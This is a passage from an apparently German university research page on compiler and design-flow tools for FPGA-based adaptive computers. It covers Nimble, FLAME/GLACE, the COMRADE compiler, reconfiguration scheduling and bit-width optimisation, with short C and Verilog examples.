Protokollen für ihre Kommunikation untereinander versehen werden. Die
Komplexität der zu lösenden Einzelprobleme bei all diesen voneinander
abhängigen Schritten führen zu einer recht niedrigen Entwurfs-Produktivität
\(siehe auch Allgemeine Einführung\).

Als Alternative dazu wird im Fachgebiet ESA an der Entwicklung automatischer
Entwurfsflüsse gearbeitet, die die nötigen Schritte entweder selbstständig
durchführen oder den Designer bei seiner Arbeit weitestgehend unterstützen.

Als Ziel steht eine Kette von Werkzeugen, die einen in einer Hochsprache
verfassten Algorithmus effizient auf einem adaptiven Rechner implementieren
kann. Der erste Prototyp _Nimble_ wurde u.a. in Vorarbeiten an der TU
Braunschweig zusammen mit der Fa. Synopsys und der Universität Berkeley
entwickelt. Er übersetzt C-Programme in Hardware/Software-Lösungen, welche
dann auf einem experimentellen adaptiven Rechner real ausgeführt werden können
\(siehe auch Rechnerarchitekturen\). Den gesamten Nimble-Entwurfsfluss
skizziert Bild 3. Im Kern besteht er aus einem ANSI/ISO-kompatiblen C-Compiler
und einem datenpfad-orientierten Platzierungswerkzeug.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak3.gif' alt='ak3.gif' />  
---  
**Bild 3:** Nimble-Entwurfsfluss  
Der als C-Programm vorliegende Algorithmus wird zunächst in Hard- und
Software-Komponenten partitioniert. Dabei wird die Auswahl anhand von
verschiedenen Arten von Profiling-Daten vorgenommen. Der Software-Teil wird
nun nach Anreicherung um Schnittstellen zum parallel entstehenden Hardware-
Teil durch den konventionellen GNU-C-Compiler GCC weiterbearbeitet. Die für
die Hardware-Ausführung selektierten Teile dagegen werden in Form von
Kontroll-Datenflussgraphen zum Scheduling und zur Platzierung an den
DatapathComposer übergeben. An dieser Stelle werden auch die Eigenschaften der
Ziel-Technologie berücksichtigt. Diese sind durch parametrisierte
Modulgeneratoren abgedeckt, welche für die Basisoperationen des
Datenflussgraphen konkrete Schaltungen bereitstellen und sie in Bezug auf
Eigenschaften wie Zeitverhalten oder Flächenbedarf charakterisieren können.
Abschließend werden beide Teile zu einem auf der Zielplattform \(derzeit
ACE-V, später auch Virtex-II-Pro-basiert\) ausführbaren Programm
zusammengebunden \(siehe auch Rechnerarchitekturen\).

#  Flexible Schnittstelle für Modulgeneratoren

Ein Schwerpunkt der Arbeiten im Fachgebiet ESA auf dem Gebiet des
Entwurfsflusses für adaptive Rechner \(siehe auch Allgemeine Einführung\)
liegt auf der Realisierung effizienter Schnittstellen zu den parametrisierten
Modulgeneratoren, die die eigentlichen Hardware-Komponenten erstellen. Dazu
wird das bereits früher entwickelte Verfahren _FLexible API for Module-based
Environments_ \(FLAME\) verwendet. Diese Spezifikation erlaubt den Austausch
detaillierter Informationen zwischen dem Hauptentwurfsfluss und den hardware-
spezifischen Modulgeneratoren. Der Compiler kann so beispielsweise
Informationen über alle in Hardware realisierbaren Funktionen sowie ihre
Ansteuerung abrufen, während der Datenpfad-Platzierer Layout- und
Topologiedaten ermitteln kann. Für jeden einzelnen Entwurfsschritt können so
die für die Optimierung relevanten Hardware-Charakteristika bestimmt werden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak4s.gif' alt='ak4s.gif' />  
---  
**Bild 4:** FLAME-Schnittstelle  
Wie in Bild 4 können bestehende Modulgeneratoren in eine FLAME-Umgebung
eingebettet werden. Beliebige Werkzeuge des Entwurfsflusses können so mit dem
FLAME-Manager die verschiedenen Dienste der Modulgeneratoren anfordern. Zu
diesen Diensten \(in FLAME auch _Sichten_ genannt\) gehören beispielsweise
neben der Funktion eines Hardware-Moduls auch dessen Schnittstelle nach außen
und der Zeit- und Flächenbedarf. Schließlich kann so auch noch die Schaltung
selbst als Netzliste abgerufen werden. Diese Einzelschaltungen werden dann von
einem übergeordneten Werkzeug zu einem kompletten Datenpfad verbunden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak4a.gif' alt='ak4a.gif' />  
---  
**Bild 5:** GLACE  
Bild 5 zeigt das an der Abteilung entwickelte System GLACE \(Generic Library
for Adaptive Computing Environments\), die erste vollständige Modulbibliothek
mit FLAME-Schnittstelle. Die in GLACE enthaltenen Modulgeneratoren können die
üblicherweise bei der Compilierung von Hochsprachen in Hardware benötigten
Operatoren \(z.B. Arithmetik, Logik, Multiplexer, etc\) flexibel und effizient
in Hardware auf Xilinx XC4000 und Virtex FPGAs abbilden. Dem
Hauptentwurfsfluss steht via FLAME eine breite Palette von Informationen
\(u.a. Zeitverhalten, Fläche und Topologie\) zur Beurteilung und Auswahl von
Modulinstanzen zur Verfügung.

GLACE und FLAME werden kontinuierlich weiterentwickelt. Auch in 2004 wurde die
FLAME-Spezifikation weiter gepflegt und erstmals in Form eines Technical
Reports vollständig dokumentiert.

#  Floorplanning-Werkzeuge für datenpfadorientierte Schaltungen auf FPGAs

Nach der Erzeugung von effizienten Modulen für die Einzeloperatoren eines
Datenflussgraphen gilt es als nächstes, aus diesen Elementen den kompletten
Datenpfad zusammenzusetzen. Bei der Anordnung und Verdrahtung der
Einzelschaltungen müssen dabei sowohl die besonderen Eigenschaften der
bearbeiteten Datenpfade \(Multi-Bit-Operatoren, Pipelining, hierarchische
Steuerwerke\) als auch die speziellen Eigenschaften der Ziel-Hardware \(Carry-
Chains, Logikblockarchitektur\) berücksichtigt werden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak4b.gif' alt='ak4b.gif' />  
---  
**Bild 6:** Floorplanning  
2004 wurden erste Arbeiten an einem kombinierten Werkzeug begonnen, dass die
Operationen Floorplanning und das Verschmelzen von mehreren Datenpfaden zu
einer Konfiguration simultan ausführen kann. Basis für den Prozess sind dabei
die Daten, die durch das Rekonfigurations-Scheduling berechnet werden.

#  Evaluation repräsentativer Anwendungen auf adaptiven Rechensystemen

Die Eigenschaften von Hardware-Architekturen und Software-Werkzeugen können
seriös nur anhand von realen Anwendungen bewertet werden. Zu diesem Zweck
wurden in 2004 durch studentische Arbeit eine repräsentative Anwendung vom
Algorithmus bis hinunter zur hybriden Hardware-Software-Ausführung realisiert.

Es handelt sich dabei um die Kompression von Graustufenbildern mittels
Wavelet-Ansatzes \(der ja auch dem JPEG 2000 Standard zugrundeliegt\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak_wavelet.gif'
alt='ak_wavelet.gif' />  
---  
**Bild 7:** Bildkompression nach dem Wavelet-Ansatz  
Dabei wird das Graustufen-Eingabebild zunächst durch abwechselnde vertikale
und horizontale Filterung in niederfrequente \(= "wichtige Bildteile"\) und
hochfrequente Teile \(= "Bilddetails"\) zerlegt und diese durch Quantisierung
auf einen kleineren Wertebereich abgebildet. Die für das Auge weniger
wichtigen Details werden dadurch alle auf den Wert Null gesetzt. Diese langen
Ströme von Nullen werden mittels einer spezialisierte Lauflängenkomprimierung
in eine einzelne Längenangabe \("15x Null"\) verkürzt. Eine abschliessende
Huffman-Komprimierung ersetzt am Ende des Prozesses noch häufig auftretende
Bitfolgen durch kürzere Codes. Eine reale Implementierung dieses Verfahrens
auf der ACE-V braucht bei einer Taktfrequenz von 31 MHz 7.2ms zur Bearbeitung
eines Bildes. Der Athlon XP Prozessor mit 1533 MHz schafft die Aufgabe zwar in
4.2ms, hat dabei aber eine maximale Leistungsaufnahme von 54-60 W. Selbst ein
auf niedrigen Energieverbrauch optimierter Prozessor vom Typ Pentium-M hat
eine Leistungsaufnahme von 22 W. Die rekonfigurierbare Recheneinheit auf der
ACE-V nimmt dagegen \(ermittelt anhand von vollständigen Simulationsdaten\)
lediglich 0.8 W an Leistung auf. Auch hier gilt das oben Gesagte: Mit einem
moderneren FPGA wie dem Virtex II Pro-Chip liesse sich die Rechenleistung bei
ähnlicher Leistungsaufnahme mindestens verdreifachen.

#  Evaluationswerkzeuge für grobgranulare rekonfigurierbare Architekturen

Im Rahmen einer Industriekooperation wurden parametrisierte Platzierungs- und
Verdrahtungswerkzeuge erstellt, die anhand einer flexiblen Beschreibungsdatei
die Leistungsfähigkeit ganzer Familien von grobgranularen rekonfigurierbaren
Feldern erproben können. Mit den so bestimmten Ergebnissen kann dann schon vor
der Hardware-Fertigung für jeden Anwendungsbereich die bestgeeignetste
Ausprägung der Architektur gewählt werden. Zu den variierbaren Parametern
gehören neben der Art und Anzahl der einzelnen Recheneinheiten auf dem Feld
auch deren Anordnung und Verdrahtung. Zur Optimierung von Durchsatz und Latenz
der Berechnung können verschiedene Arten des Pipelining ebenfalls modelliert
werden.

#  Compiler für adaptive Rechensysteme

Einer der komplexesten Teile eines Entwurfsflusses für adaptive Rechner
\(siehe auch Allgemeine Einführung\) ist der zentrale Compiler. Die an einen
solchen Compiler gestellten Anforderungen gehen über die von konventionellen
Software-Compilern weit hinaus. Neben den gängigen Operationen \(Parsing,
Code-Erzeugung, Optimierung etc.\) muss hier das gegebene Hochsprachen-
Programm auch noch optimal in Soft- und Hardware aufgeteilt werden. Weiterhin
umfasst der Schritt der Code-Erzeugung sowohl die bekannte Code-Generierung
für einen festen Ziel-Prozessor als auch die Generierung optimaler Hardware-
Realisierungen für die in Hardware ausgelagerten Teile der Anwendung.

In letzterem Fall könnten für unterschiedliche Anwendungen angepasste
Hardware-Architekturen erzeugt werden. Ein Teil des Algorithmus kann also auf
einem Vektorprozessor ausgeführt werden, ein weiterer mag besser auf eine
superskalare Architektur passen, und ein dritter wiederum könnte ausgeprägte
Datenflusseigenschaften haben. Durch die Ausnutzung der Rekonfigurierbarkeit
des adaptiven Rechensystems können so für alle Teile optimale
Implementierungen gefunden werden.

Da jeder Rekonfigurationsvorgang aber selbst eine bestimmte Zeit benötigt,
muss für jede Programmausführung abgewogen werden, an welchen Stellen
tatsächlich die Hardware-Konfiguration geändert wird. Andernfalls würde der
durch die optimal angepassten Architekturen erreichbare Leistungsgewinn durch
zu häufige Rekonfigurationen wieder zunichte gemacht.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak5s.gif' alt='ak5s.gif' />  
---  
**Bild 8:** Der Compiler COMRADE  
Das Projekt _COMRADE_ \(Compiler for Adaptive Systems\) hat die automatische
Umsetzung von C-Programmen in eine Hardware-Software-Partitionierung und die
Erzeugung von synthesefähigen Datenpfaden für die rekonfigurierbare Hardware
zum Ziel. Aufbauend auf dem Compilersystem SUIF2 der Universität Stanford
erreicht man dieses Ziel durch schrittweise Bearbeitung des Programms \(Bild
8\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak6.gif' alt='ak6.gif' />  
---  
**Bild 9:** Hardware-Operationen mit technischen Daten  
Welche Teile eines Programms als Hardware oder Software ausgeführt werden,
entscheidet der Compiler aufgrund verschiedener Programminformationen. Zum
einen sind das hardware-relevante Daten wie Flächenverbrauch und Laufzeit, die
von Modulgeneratoren für die Zielhardware über die flexible Schnittstelle
FLAME bereitgestellt werden \(Bild 9\). Neben den aus dem Modulgenerator-
Zugriff gewonnenen Daten ist die Ausführungshäufigkeit von Operationen im
Programm für die Hardware-Auswahl wichtig. Die Neukonfiguration der Hardware
und die Variablenübergabe zwischen Soft- und Hardware machen seltene
Programmteile sehr langsam, da die Kommunikationszeit den
Geschwindigskeitsvorteil übertrifft. Deswegen eignen sich vor allem häufig
benutzte Schleifen für eine Hardware-Implementierung. Um diese herauszufinden,
wird ein dynamisches Profiling eingesetzt. Die Ausführungsfrequenz wird
hierbei durch einfaches Ausführen des Programms und Zählen des Ausführens von
einzelnen Anweisungen ermittelt.

Die zu einem Programm gehörenden Datenpfade müssen während des Programmlaufs
in die rekonfigurierbare Hardware geladen werden. Oft sind sie so klein, dass
zugleich mehrere auf ein rekonfigurierbares FPGA-Chip passen. Der Compiler
stellt für diese Situation einen Algorithmus bereit, der die von bestimmten
Randbedingungen abhängigen Hardware-Rekonfigurationen bestimmt. Das
resultierende Scheduling garantiert während des gesamten Programmlaufs eine
gute Ausnutzung der Hardware-Ressourcen.

#  Zwischendarstellung für Hardware-Auswahl und Datenpfad-Synthese

Eine besondere Bedeutung in COMRADE nimmt die Zwischendarstellung ein, für die
eine Sonderform der Static-Single-Assignment-Form \(SSA-Form\) von
Kontrollflussgraphen gewählt wurde. Diese unterstützt einen Großteil der
Umformungen, welche auf dem Hardware-Teil eines Programms vorgenommen werden
müssen. Außerdem vereinfacht sie die Umsetzung dieser Regionen in die
Hardware-Datenpfade.

Die grundlegende Eigenschaft einer SSA-Form besteht darin, dass in ihr jede
Variable nur einmal definiert wird. Da normale Programme diese Eigenschaft im
allgemeinen nicht besitzen, müssen sie zuerst in die SSA-Form konvertiert
werden \(Bild 12\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak7.gif' alt='ak7.gif' />  
---  
**Bild 10:** Konvertierung in SSA-Form  
Man erkennt, dass an Stellen, an denen sich die Definitionen von mehreren
Variablen vereinigen müssen, sogenannte Fi-Anweisungen eingefügt werden. Diese
Anweisungen werden in einem späteren Compiler-Schritt dann in Multiplexer
umgeformt. Auf diese Weise können verschiedene Lösungen für eine Variable
parallel berechnet werden. Der erzeugte Multiplexer sucht dann aufgrund von
Kontrollfluss-Informationen das richtige Ergebnis heraus. Alle anderen
Berechnungen werden beendet oder verworfen.

Die in COMRADE verwendete Data-Flow-Controlled SSA-Form \(DFCSSA-Form\)
erweitert die Eigenschaften der einfachen Form durch Elemente, die für das
Erstellen von Datenpfaden und deren Scheduling vorteilhaft sind. Als erstes
wird die Zwischendarstellung nur für als Hardware vorgesehene Teile des
Programms erzeugt. Eine Zeitersparnis während der Compilierung ist die Folge.
Desweiteren werden in der DFCSSA-Form Fi-Anweisungen nur an die Stellen
gesetzt, an denen sie wirklich nötig sind. Dadurch können Multiplexer
entstehen, welche mehr als zwei Eingänge besitzen. Diese erzielen
Laufzeitvorteile auf der Ziel-Hardware.

#  Interaktion mit dem Modulgenerator GLACE

Die Entscheidung über die Auswahl einer Operation als Hardware- oder Software-
Implementierung beruht teilweise auf aus Modulgeneratoren erzeugten
Informationen. Wir benutzen den Modulgenerator GLACE, um Größe und Laufzeit
von Blöcken auf der rekonfigurierbaren Logik abzuschätzen. Dabei müsste für
jeden Operator eine neue Anfrage an den Generator gestellt werden. Viele im
C-Sourcecode enthaltenen Operationen ähneln sich aber, und Anfragen würden so
ohne einen geeigneten Mechanismus mehrfach gestellt. Desweiteren werden zur
Zeit noch alle Anfragen über das Java Native Interface \(JNI\) an GLACE
geleitet, da COMRADE in C++ und GLACE in Java implementiert sind. Der Zugriff
wird dadurch verlangsamt. Aus diesen Gründen verfügt COMRADE über einen
internen Cache, der Anfragen an GLACE zwischenspeichert und somit die
Bearbeitungsgeschwindigkeit beschleunigt \(Bild 11\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak8.gif' alt='ak8.gif' />  
---  
**Bild 11:** Cache für den Zugriff auf GLACE  
Messungen an Benchmarks haben gezeigt, dass mindestens 77% aller Anfragen an
den Modulgenerator durch den Cache eingespart werden können.

Modulgeneratoren können für viele der in C vorhandenen Operationen Module erzeugen. Leider sind Fähigkeiten aber beschränkt, so dass der Compiler selbst Synthese-Aufgaben übernehmen muss. So erzeugt COMRADE beispielsweise Multiplexer mit mehr als zwei Eingängen selbst, da diese von GLACE zur Zeit noch nicht unterstützt werden. Desweiteren können auch Optimierungsaufgaben übernommen werden. Logische Operatoren \(`&&`, `||`\) und bitweise Operatoren \(`&`, `|`, `^`\) der Programmiersprache C werden von GLACE nur unter Angabe von Wahrheitstabellen unterstützt. Diese auf den ersten Blick hinderliche Eigenschaft gibt uns wiederum die Möglichkeit, jede beliebige logische Funktion zu realisieren. Wir nutzen dies, um Kombinationen von Operatoren wie z.B. `d = a | b | c & a` zu einem Operator zusammenzufassen. In Bild 12a wird beispielsweise die Anweisung 
`y = (((a & b) | ((c & d) & e)) | (((e & f) & g) & h)`
unoptimiert dargestellt.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak9.gif' alt='ak9.gif' />  
---  
**Bild 12:** Optimierungen logischer Operationen  
Im Gegensatz wurde die Darstellung in Bild 12b durch die Synthese-Bibliothek
SIS soweit optimiert, dass nur noch drei Operationen verwendet werden müssen.
Hier werden dann auch alle in der Ziel-Hardware vorhandenen vier Eingänge pro
Logikblock \(CLB\) benutzt.

#  Compiler-Optimierungen für adaptive Rechensysteme

Neben klassischen Methoden wie der Optimierung von Speicherzugriffen und
kontrollflussbasiertem Profiling werden speziell auf die Ziel-Architektur
angepasste Verfahren benutzt, um vorrangig die Rechenzeit zu vermindern.
Besonders das Pipelining sorgt für hohe Parallelität in den erzeugten
Datenpfaden. Der Compiler erkennt automatisch Ansatzpunkte für Parallelität im
Programm und baut diese ohne den Eingriff eines Designers in die Datenpfade
ein.

Die meiste Zeit eines Programms wird in Schleifen verbracht. Als gute
Faustregel gilt, dass 90% der Zeit in 10% des Programms verbracht werden. Es
liegt also auf der Hand, dass eine Verbesserung dieser 10% am lohnendsten ist.
Da sich jedoch die Eigenschaften von adaptiven Computersystemen deutlich von
denen von Standard-Hardware unterscheidet, sind die bekannten Optimierungen
nicht im gleichen Maße wirksam. Es muss evaluiert werden, welche Vorteile
bekannte Verfahren bringen. Ebenso sind auch neue Optimierungen zu
untersuchen.

Schon am eingelesenen C-Sourcecode kann der Compiler Optimierungen vornehmen,
die sich direkt in der erzeugten Hardware auswirken. Der eingelesene C-Code
wird intern als Baum dargestellt. Dabei entstehen auch Teilbäume, welche bei
einer Umwandlung in einen Datenflusgraphen keine minimalen Laufzeiten haben.
Wird z.B. die Anweisung `e = a + b + c + d` eingelesen, so wird ein Baum der
Höhe 3 \(Bild 13a\) erzeugt. Die Laufzeit dieses Baums könnte aber durch eine
andere Klammerung `(e = (a + b) + (c + d))` um 33% verkürzt werden. Eine
perfekte Baumhöhenreduzierung ist aber nur mit NP-vollständigem Aufwand
durchführbar. In COMRADE wird dagegen eine Heuristik benutzt, welche
Assoziativität und Kommutativität von Operatoren ausnutzt, um durch lokales
Verdrehen von Operatoren oder Operanden schon in der Zwischendarstellung eine
Laufzeitreduzierung in der endgültigen Hardware herbeizurufen \(Bild 13b\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak10.gif' alt='ak10.gif' />  
---  
**Bild 13:** Baumhöhenreduktion durch Operator-Verdrehen  
Diese erzeugt zwar nicht in jedem Fall eine optimale Lösung. Doch wird vor
allem bei sehr hohen Bäumen eine Reduzierung der Zeit für das Compilieren
erreicht.

Als sehr gewinnbringend für die Größe von Hardware hat sich die Reduzierung
der Bitbreite von Operatoren erwiesen \(Bild 14\). Dabei werden in
Ausdrucksbäumen Informationen von Konstanten mit den Eigenschaften von
bitweisen \(AND, OR\) und mathematischen \(+, -\) Operatoren verknüpft und so
nicht benötigte Bits identifiziert. Dabei können auch Operatoren vereinfacht
oder durch Verdrahtung ersetzt werden. Eine Multiplikation mit Zwei lässt sich
beispielsweise durch ein einfaches Schieben ersetzen. Neben der Einsparung von
Ressourcen sind Operatoren mit einer kleineren Breite meist auch schneller.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak_bitweise_optimierung.gif'
alt='ak_bitweise_optimierung.gif' />  
---  
**Bild 14:** Bitbreitenreduktion zur Einsparung von Ressourcen  
Verbesserungsmöglichkeiten der Bitbreitenreduktion ergeben sich, wenn vorher
eine als Constant-Propagation bezeichnete Optimierung ausgeführt wird. Dabei
werden alle als konstant erkannten Variablen eines Programms durch die
Konstanten selbst ersetzt. Diese werden dann von der Bitbreitenreduktion in
die Optimierung eingebunden.

#  Hardware-Software-Partitionierung

Der Compiler COMRADE wählt automatisch Regionen eines Quellcodes aus, welche
einen Laufzeitgewinn in Hardware versprechen. Das sind im allgemeinen innerste
Schleifen. Die Hardware-Auswahl von COMRADE hingegen versucht, auch mehrere
geschachtelte Schleifen für die Hardware-Beschleunigung zu verwenden.

Dies geschieht in drei getrennten Schritten. Im ersten Schritt werden alle
Schleifen dupliziert \(Bild 15\), für die aufgrund von Profiling-Daten eine
Beschleunigung durch die Hardware-Ausführung zu erwarten ist. Hierbei können
auch mehrere geschachtelte Schleifen dupliziert werden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_loop_duplication.gif'
alt='nk_loop_duplication.gif' />  
---  
**Bild 15:** Duplizierung von Schleifen für Hardware-Regionen  
Zwischen diesem und dem folgenden Schritt der Hardware-Auswahl wird die
Markierung aller Operatoren mit hardware-relevanten Daten in den duplizierten
Regionen durch einen Compilerschritt vorgenommen. Der zweite Schritt sucht
nach Pfaden in den Regionen, welche sich für die Hardware-Implementierung
eignen. Dabei müssen mehrere Forderungen erfüllt sein \(Bild 16\). Zum ersten
sollen nur Blöcke verwendet werden, die in Hardware realisierbar oder ohne
Bedeutung für die Hardware-Ausführung sind. Blöcke, die z.B. nur die Zuweisung
einer Konstanten an eine Variable besitzen, sind unbedeutend für die Hardware-
Ausführung.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_auswahlkriterien.gif'
alt='nk_auswahlkriterien.gif' />  
---  
**Bild 16:** Auswahlkriterien für Pfade in Hardware-Regionen  
Weiter soll der aktuelle Pfad auf dem kürzesten Weg zu einem Ausgang der
Hardware-Region führen. Dadurch wird verhindert, dass beispielsweise in
verschachtelten Schleifen alle Pfade einer inneren Schleife der Hardware
zugeordnet werden, aber der Pfad keinen Ausgang der Region enthält. Solche
Blöcke wären nicht in Hardware realisierbar, da auf jeden Fall ein Ergebnis
von der Hardware an die Software zurückgegeben werden muss. Weiterhin sollen
die Pfade eine hohe Ausführungswahrscheinlichkeit haben. Dadurch wird
gewährleistet, dass hauptsächlich Teile des Quelltexts in Hardware übersetzt
werden, welche einen hohen Geschwindigkeitsgewinn erzielen. Nur für
gelegentliche Unterbrechungen muss in Software gewechselt werden. Der dritte
Schritt der Hardware-Auswahl beurteilt alle Hardware-Regionen durch den zu
erwartenden Laufzeitgewinn gegenüber der Software-Realisierung. Der
Laufzeitgewinn bestimmt sich hauptsächlich durch die Anzahl der parallel
ausführbaren Operatoren in der Hardware. Fällt der Laufzeitgewinn zu klein
aus, wird die Software-Realisierung gewählt.

Tests an verschiedenen Programmen haben gezeigt, dass durch die Betrachtung
mehrerer geschachtelter Schleifen ein höheres Potenzial an Laufzeitgewinn
durch Hardware-Beschleunigung erreichbar ist.

#  Spekulative Ausführung von Datenflussgraphen in Pipelines

Die Ausführung der aus der DFCSSA-Form erzeugten Datenflussgraphen \(DFG\) auf
der rekonfigurierbaren Hardware muss durch COMRADE geplant werden. Die DFGs
enthalten verschiedene Typen von Operatoren. Statische Operatoren haben eine
vorgegebene Laufzeit, dynamische dagegen werden mit einem Signal gestartet und
signalisieren das Ende ihrer Operation. Neben diesen zwei grundsätzlichen
Typen können auch Operatoren in den Datenflussgraphen auftreten, die
beispielsweise interne Pipelines enthalten oder ihre Daten mit Hilfe von
Protokollen austauschen.

Vor allem das Vorhandensein von dynamischen Operatoren macht klassische
Scheduling-Algorithmen wie kräftegesteuertes Scheduling unbrauchbar für den
Einsatz in COMRADE. Diese Algorithmen können nur die längste Laufzeit
benutzen, um die Operatoren einzubinden. Zur Lösung dieses Problems wird durch
COMRADE für jeden DFG ein Petri-Netz erzeugt, welches die Ausführung des DFG
steuert sowie auf Signale aus dem DFG reagiert. Der so erzeugte Controller
startet eine Operation genau dann, wenn alle Eingangsdaten anliegen sowie alle
nötigen Kontrollflussbedingungen zur Ausführungen der Operation vorhanden
sind. Eine Operation wird natürlich nicht gestartet, wenn sie gerade rechnet.
Die Ergebnisse von Operationen werden in Registern zwischengespeichert. Durch
dieses Verhalten werden Daten schnellstmöglich verarbeitet. Es ist automatisch
eine Pipeline entstanden.

Eine weitere Verbesserung der Laufzeit des DFG kann erreicht werden, wenn
Operationen spekulativ ausgeführt werden. Hierbei werden Pfade im DFG
spekulativ berechnet, wenn diese kein Ergebnis verfälschen können. Operationen
wie Speicherzugriffe können demnach nicht spekulativ ausgeführt werden. In
COMRADE wird die spekulative Berechnung immer dann benutzt, wenn ein
Multiplexer aus mehreren Ergebnissen ein richtiges aufgrund von
Kontrollflussinformationen aussucht. Alle anderen Berechnungen werden dann
deaktiviert. Das Deaktivieren wird hierbei durch einen speziellen Zustand der
Knoten im Controller erreicht, welche sich in Gegenrichtung des Datenflusses
fortpflanzen können \(Bild 17\). Trifft dieser Zustand \(Down\) einen Zustand,
der eine aktuelle Berechnung steuert \(Up\), so löschen sich beide aus. Die
Berechnung wird also abgebrochen.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_mux.gif' width='100%' />  
---  
**Bild 17:** Multiplexer mit dazugehörigen Up- und Down-Zuständen  
#  Rekonfigurations-Scheduling

Die durch COMRADE erzeugten Datenpfade sind oft so klein, dass mehrere von
ihnen gemeinsam zu einer Konfiguration für die rekonfigurierbare Logik
zusammengefasst werden können. Auf diese Weise lässt sich die Anzahl von
Rekonfigurationen verringern. Jede so vermiedene Rekonfiguration verbessert
wegen der langen Rekonfigurationszeiten der meisten heute verwendeten
Bausteine die ACS-Beschleunigung eines Programms erheblich. Grundlage für das
Zusammenfassen von Datenpfaden zu Konfigurationen in COMRADE bilden
Kontrollflussinformationen \(Welcher Datenpfad muss nach welchem anderen
geladen werden?\) und Laufzeitinformationen \(Wie oft wird ein Datenpfad
benötigt?\). Dazu wird ein so genannter Datenpfad-Ladegraph erzeugt, in
welchem diese Informationen zusammengefasst sind \(Bild 18\). Der Datenpfad
_DP1_ verbraucht hier beispielsweise 100 Ressourcen und hat einen
Ausführungsbeiwert von 0,3.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_partitionierung_beiwert.gif'
alt='nk_partitionierung_beiwert.gif' />  
---  
**Bild 18:** Datenpfad-Ladegraph  
Durch eine Heuristik wird der Datenpfad-Ladegraph partitioniert. Jede der
entstehenden Partitionen stellt eine Konfiguration für den rekonfigurierbaren
Teil eines Adaptiven Rechensystems dar. Werden nun mehrere Datenpfade während
einer Programmausführung hintereinander benötigt, können Rekonfigurationen
weitgehend vermieden werden: Beim Test mit realen Programmen hat sich gezeigt,
dass so bis zu über 99% der Rekonfigurationen eingespart werden können.

#  Bitbreiten-Reduktion und Evaluierung konstanter Bits

Bei adaptiven Rechnern kann nicht nur die Struktur des rechnenden Datenpfades
an die Anforderungen der Anwendung angepasst werden, sondern auch die jedes
einzelnen Operators innerhalb des Datenpfades. Für die Addition muss also
nicht immer das gleiche Addierwerk verwendet werden, das variable Werte
addieren kann, sondern es können für bestimmte Konstanten spezialisierte
Additionsoperatoren erzeugt werden. Dazu werden nicht nur die konstanten,
sondern auch die von jeder Einheit tatsächlich berechneten Bits verfolgt.
Feiner als bei den C-Datentypen \(z.B. Worte von 32 Bit, 16 Bit, 8 Bit\)
können in einem spezialisierten Operator auch innerhalb des "Wortes"
unbenutzte Bits oder konstante Bits auftreten. Konstante Bits treten meist
nach logischen Operationen auf oder nach dem Extrahieren von Werten aus
gepackten Darstellungen \(z.B. Datenpaketen bei Kommunikationsprotokollen. Ein
Beispiel mag hier mehrere der potenziellen Optimierungen verdeutlichen.

` // Endianness eines Wertes ändern, C-Beschreibung  
` ` unsigned char a[];  
` ` result = (a[i] << 24) + (a[i+1] << 16) + (a[i+2] << 8) + a[i+3];`

In dieser Rechnung werden, nach C-Standard, die einzelnen Unsigned Chars aus
dem Speicher erst auf die Länge von "int" gebracht \(normalerweise 32 Bits\),
anschließend werden durch Shift-Operationen die Werte an die richtige Stelle
des Zielwortes gebracht. Die einzelnen Resultate werden addiert.

Durch die Verfolgung von konstanten Bits, in diesem Falle je 24 konstante
Nullen pro Einzelausdruck, kann hier jedoch keine Breite in den Datenworten
eingespart werden. Immerhin, die erkannten konstanten Werte müssen nicht mehr
berechnet oder über den Chip verdrahtet werden: Sie können direkt an ihren
Konsumenten lokal angelegt werden.

Eine weitere Optimierung aus dem Bereich der Logiksynthese erlaubt aber eine
weitere Verbesserung: Im Beispiel kann, da die einzelnen variablen Bereiche
der Teilausdrücke nicht überlappend sind, kein Übertrag zwischen den drei
Additionen entstehen \(die obersten 24 Bit sind ja als Null erkannt worden\).
Deshalb kann in dieser Rechnung die gesamte Addition durch ein logisches ODER-
Gatter ersetzt werden. Anschliessend wird die Wirkung der 24 konstanten Null-
Bits auf dieses ODER-Gatter analysiert. Dabei wird dann ermittelt, dass die
Funktion des Gatters in diesem Fall genausogut durch reine Verdrahtung
berechnet werden kann, dass Gatter selbst kann also vollständig entfallen.

In einer Hardware-Beschreibungssprache wie Verilog würde diese Struktur am
ehesten durch

` // Endianness eines Wertes ändern, Verilog-Beschreibung  
` ` assign result [7:0] = a[i+3];  
` ` assign result [15:8] = a[i+2];  
` ` assign result [23:16] = a[i+1];  
` ` assign result [31:24] = a[i];`

ausgedrückt. Arithmetik wird für diese Rechnung nun nicht mehr benötigt.

In weniger extremen Fällen lassen sich durch diese Vorgehensweise aber die
Anzahl der Überträge \(Länge der Carry-Chains\) reduzieren und somit kleinere
und schnellere Operatoren erzeugen.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/mr_carry_chain_unterbrechungen.gif'
alt='mr_carry_chain_unterbrechungen.gif' />  
---  
**Bild 19:** Aufbrechen von Carry-Chains  
#  Beschreibungsunabhängige Analysemethoden

Innerhalb des COMRADE-Compilers befindet sich ein Interface für
Datenflussanalysen. Dieses Interface abstrahiert den kompletten Kontrollfluss
